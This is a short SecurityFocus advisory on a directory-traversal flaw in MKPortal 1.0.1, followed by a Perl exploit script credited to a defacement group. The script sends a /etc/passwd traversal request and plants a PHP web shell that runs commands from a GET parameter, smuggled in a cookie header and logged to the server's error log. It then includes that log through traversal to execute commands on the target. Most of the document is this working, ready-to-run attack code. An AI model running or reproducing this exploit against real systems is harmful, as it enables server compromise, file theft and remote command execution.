source: https://www.securityfocus.com/bid/18707/info

MKPortal is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input. 

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the affected application. Information obtained may aid in further attacks.

This issue affects version 1.0.1 Final; other versions may also be vulnerable.

#!/usr/bin/perl -w
# MKPortal 1.0.1 Final (index.php) File Include Vulnerability
#
# Discovered & Coded By rUnViRuS
# World Defacers TeaM
# WD-members: rUnViRuS - Papipsycho - BlackWHITE - r3v3ng4ns - Net^ViruS
# Details
# =======
# Note : MKPortal 1.0.1 Final (index.php) File Include Vulnerability
#
#
# .$ind = $ibforums->input['ind']; if ($ind)
# .
# . http://www.site.com/index.php?ind=../../../../../../../../../../../../etc/passwd%00
# 
# Join with us to Get Prvi8 Exploit
# Priv8 Priv8 Priv8 Priv8
# -------- ~~~~*~~~~ --------
use IO::Socket;

 print "\n=============================================================================\r\n";
 print " * MKPortal 1.0.1 Final (index.php) File Include Vulnerability by www.worlddefacers.de *\r\n";   
 print "=============================================================================\r\n";
print "\n\n[*] WD-members: rUnViRuS - Papipsycho - BlackWHITE -r3v3ng4ns \n";
print "[*] Bug On :MKPortal 1.0.1 Final Software \n";
print "[*] Discovered & Coded By : rUnViRuS\n";
print "[*] Join with us to Get Prvi8 Exploit \n";
print "[*] www.worlddefacers.de\n\n\n";
 print "============================================================================\r\n";
 print "		  -=Coded by Zod, Bug Found by rUnViRuS=-\r\n";
 print "	       www.worlddefacers.de - www.vb00.com\r\n";
 print "============================================================================\r\n";
sub main::urlEncode {
    my ($string) = @_;
    $string =~ s/(\W)/"%" . unpack("H2", $1)/ge;
    #$string# =~ tr/.//;
    return $string;
 }

$serv=$ARGV[0];
$path=$ARGV[1];
$cmd=""; for ($i=2; $i<=$#ARGV; $i++) {$cmd.="%20".urlEncode($ARGV[$i]);};

if (@ARGV < 3)
{
print "Usage:\r\n";
print "\n\n[*] usage: WD-MKP.pl <host> <Path> <cmd>\n";
	print "[*] usage: WD-MKP.pl www.HosT.com /MKPortal/ ../../../../../../../../../../../../etc/passwd \n";
print "[*] total 3280 drwxr-x--- 18 thegymr nobody 4096 Oct 9 2005 \n";
exit();
}

  $sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", Timeout  => 10, PeerPort=>"http(80)")
  or die "[+] Connecting ... Could not connect to host.\n\n";

  $shell='<?php ob_clean();echo"Hi Master!\r\n";ini_set("max_execution_time",0);passthru($_GET[CMD]);die;?>';
  $shell=urlEncode($shell);
  $data="loginname=sun&passwd=sun";
  print $sock "POST ".$path."users.php HTTP/1.1\r\n";
  print $sock "Host: ".$serv."\r\n";
  print $sock "Content-Length: ".length($data)."\r\n";
  print $sock "Cookie: gl_session=%27".$shell."\r\n";
  print $sock "Connection: Close\r\n\r\n";
  print $sock $data;
  close($sock);

  $sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", Timeout  => 10, PeerPort=>"http(80)")
  or die "[+] Connecting ... Could not connect to host.\n\n";

  $xpl="../logs/error.log";
  $xpl=urlEncode($xpl)."%00";
  print $sock "GET ".$path."index.php?ind=".$cmd."%00 HTTP/1.1\r\n";
  print $sock "Host: ".$serv."\r\n";
  print $sock "Cookie: language=".$xpl.";\r\n";
  print $sock "Connection: Close\r\n\r\n";

  while ($answer = <$sock>) {
    print $answer;
  }
  close($sock);